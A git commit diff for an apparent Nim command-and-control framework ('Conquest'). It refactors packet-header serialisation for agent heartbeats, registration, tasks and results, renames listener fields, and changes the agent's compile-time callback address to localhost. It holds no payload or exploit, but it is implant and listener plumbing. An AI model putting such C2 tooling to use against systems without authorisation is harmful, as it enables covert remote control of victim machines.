Changed variable names for clearer structure.
This commit is contained in:
@@ -34,15 +34,6 @@ proc serializeHeartbeat*(request: Heartbeat): seq[byte] =
|
||||
# TODO: Encrypt check-in / heartbeat request body
|
||||
|
||||
# Serialize header
|
||||
packer
|
||||
.add(request.header.magic)
|
||||
.add(request.header.version)
|
||||
.add(request.header.packetType)
|
||||
.add(request.header.flags)
|
||||
.add(request.header.seqNr)
|
||||
.add(cast[uint32](body.len))
|
||||
.addData(request.header.hmac)
|
||||
|
||||
let header = packer.pack()
|
||||
let header = packer.packHeader(request.header, uint32(body.len))
|
||||
|
||||
return header & body
|
||||
@@ -243,15 +243,6 @@ proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
|
||||
# TODO: Encrypt metadata
|
||||
|
||||
# Serialize header
|
||||
packer
|
||||
.add(data.header.magic)
|
||||
.add(data.header.version)
|
||||
.add(data.header.packetType)
|
||||
.add(data.header.flags)
|
||||
.add(data.header.seqNr)
|
||||
.add(cast[uint32](metadata.len))
|
||||
.addData(data.header.hmac)
|
||||
|
||||
let header = packer.pack()
|
||||
let header = packer.packHeader(data.header, uint32(metadata.len))
|
||||
|
||||
return header & metadata
|
||||
|
||||
@@ -48,16 +48,7 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
|
||||
# TODO: Encrypt result body
|
||||
|
||||
# Serialize header
|
||||
packer
|
||||
.add(taskResult.header.magic)
|
||||
.add(taskResult.header.version)
|
||||
.add(taskResult.header.packetType)
|
||||
.add(taskResult.header.flags)
|
||||
.add(taskResult.header.seqNr)
|
||||
.add(cast[uint32](body.len))
|
||||
.addData(taskResult.header.hmac)
|
||||
|
||||
let header = packer.pack()
|
||||
let header = packer.packHeader(taskResult.header, uint32(body.len))
|
||||
|
||||
# TODO: Calculate and patch HMAC
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="A5466110"
|
||||
-d:Octet1="172"
|
||||
-d:Octet2="29"
|
||||
-d:Octet3="177"
|
||||
-d:Octet4="43"
|
||||
-d:ListenerPort=8888
|
||||
-d:ListenerUuid="B10CE89E"
|
||||
-d:Octet1="127"
|
||||
-d:Octet2="0"
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=9999
|
||||
-d:SleepDelay=5
|
||||
|
||||
@@ -125,4 +125,16 @@ proc getVarLengthMetadata*(unpacker: Unpacker): string =
|
||||
return ""
|
||||
|
||||
# Read content
|
||||
return unpacker.getBytes(int(length)).toString()
|
||||
return unpacker.getBytes(int(length)).toString()
|
||||
|
||||
proc packHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] =
|
||||
packer
|
||||
.add(header.magic)
|
||||
.add(header.version)
|
||||
.add(header.packetType)
|
||||
.add(header.flags)
|
||||
.add(header.seqNr)
|
||||
.add(bodySize)
|
||||
.addData(header.hmac)
|
||||
|
||||
return packer.pack()
|
||||
@@ -27,6 +27,7 @@ type
|
||||
# Flags should be powers of 2 so they can be connected with or operators
|
||||
FLAG_PLAINTEXT = 0'u16
|
||||
FLAG_ENCRYPTED = 1'u16
|
||||
FLAG_COMPRESSED = 2'u16
|
||||
|
||||
CommandType* = enum
|
||||
CMD_SLEEP = 0'u16
|
||||
@@ -154,7 +155,7 @@ type
|
||||
HTTP = "http"
|
||||
|
||||
Listener* = ref object
|
||||
name*: string
|
||||
listenerId*: string
|
||||
address*: string
|
||||
port*: int
|
||||
protocol*: Protocol
|
||||
|
||||
@@ -143,7 +143,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
||||
let config = fmt"""
|
||||
# Agent configuration
|
||||
-d:ListenerUuid="{listener.name}"
|
||||
-d:ListenerUuid="{listener.listenerId}"
|
||||
-d:Octet1="{first}"
|
||||
-d:Octet2="{second}"
|
||||
-d:Octet3="{third}"
|
||||
|
||||
@@ -11,11 +11,11 @@ proc delListener(cq: Conquest, listenerName: string) =
|
||||
cq.listeners.del(listenerName)
|
||||
|
||||
proc add(cq: Conquest, listener: Listener) =
|
||||
cq.listeners[listener.name] = listener
|
||||
cq.listeners[listener.listenerId] = listener
|
||||
|
||||
proc newListener*(name: string, address: string, port: int): Listener =
|
||||
proc newListener*(listenerId: string, address: string, port: int): Listener =
|
||||
var listener = new Listener
|
||||
listener.name = name
|
||||
listener.listenerId = listenerId
|
||||
listener.address = address
|
||||
listener.port = port
|
||||
listener.protocol = HTTP
|
||||
@@ -91,7 +91,7 @@ proc restartListeners*(cq: Conquest) =
|
||||
for l in listeners:
|
||||
let
|
||||
settings = newSettings(
|
||||
appName = l.name,
|
||||
appName = l.listenerId,
|
||||
debug = false,
|
||||
address = "",
|
||||
port = Port(l.port)
|
||||
@@ -107,7 +107,7 @@ proc restartListeners*(cq: Conquest) =
|
||||
try:
|
||||
discard listener.runAsync()
|
||||
cq.add(l)
|
||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.name} ", resetStyle, fmt"on port {$l.port}.")
|
||||
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on port {$l.port}.")
|
||||
except CatchableError as err:
|
||||
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
|
||||
conquestDb.exec("""
|
||||
INSERT INTO listeners (name, address, port, protocol)
|
||||
VALUES (?, ?, ?, ?);
|
||||
""", listener.name, listener.address, listener.port, $listener.protocol)
|
||||
""", listener.listenerId, listener.address, listener.port, $listener.protocol)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
@@ -38,10 +38,10 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT name, address, port, protocol FROM listeners;"):
|
||||
let (name, address, port, protocol) = row.unpack((string, string, int, string))
|
||||
let (listenerId, address, port, protocol) = row.unpack((string, string, int, string))
|
||||
|
||||
let l = Listener(
|
||||
name: name,
|
||||
listenerId: listenerId,
|
||||
address: address,
|
||||
port: port,
|
||||
protocol: stringToProtocol(protocol),
|
||||
|
||||
@@ -24,16 +24,7 @@ proc serializeTask*(task: Task): seq[byte] =
|
||||
# TODO: Encrypt payload body
|
||||
|
||||
# Serialize header
|
||||
packer
|
||||
.add(task.header.magic)
|
||||
.add(task.header.version)
|
||||
.add(task.header.packetType)
|
||||
.add(task.header.flags)
|
||||
.add(task.header.seqNr)
|
||||
.add(cast[uint32](payload.len))
|
||||
.addData(task.header.hmac)
|
||||
|
||||
let header = packer.pack()
|
||||
let header = packer.packHeader(task.header, uint32(payload.len))
|
||||
|
||||
# TODO: Calculate and patch HMAC
|
||||
|
||||
|
||||
@@ -97,7 +97,7 @@ proc writeRow(cq: Conquest, row: seq[Cell]) =
|
||||
proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
|
||||
|
||||
# Column headers and widths
|
||||
let headers = @["Name", "Address", "Port", "Protocol", "Agents"]
|
||||
let headers = @["UUID", "Address", "Port", "Protocol", "Agents"]
|
||||
let widths = @[8, 15, 5, 8, 6]
|
||||
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
||||
|
||||
@@ -110,10 +110,10 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
|
||||
|
||||
for l in listeners:
|
||||
# Get number of agents connected to the listener
|
||||
let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name)
|
||||
let connectedAgents = cq.agents.values.countIt(it.listenerId == l.listenerId)
|
||||
|
||||
let rowCells = @[
|
||||
Cell(text: l.name, fg: fgGreen),
|
||||
Cell(text: l.listenerId, fg: fgGreen),
|
||||
Cell(text: l.address),
|
||||
Cell(text: $l.port),
|
||||
Cell(text: $l.protocol),
|
||||
@@ -160,7 +160,7 @@ proc timeSince*(agent: Agent, timestamp: DateTime): Cell =
|
||||
|
||||
proc drawTable*(cq: Conquest, agents: seq[Agent]) =
|
||||
|
||||
let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
|
||||
let headers: seq[string] = @["UUID", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
|
||||
let widths = @[8, 15, 15, 15, 16, 13, 5, 8]
|
||||
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
||||
|
||||
|
||||
Reference in New Issue
Block a user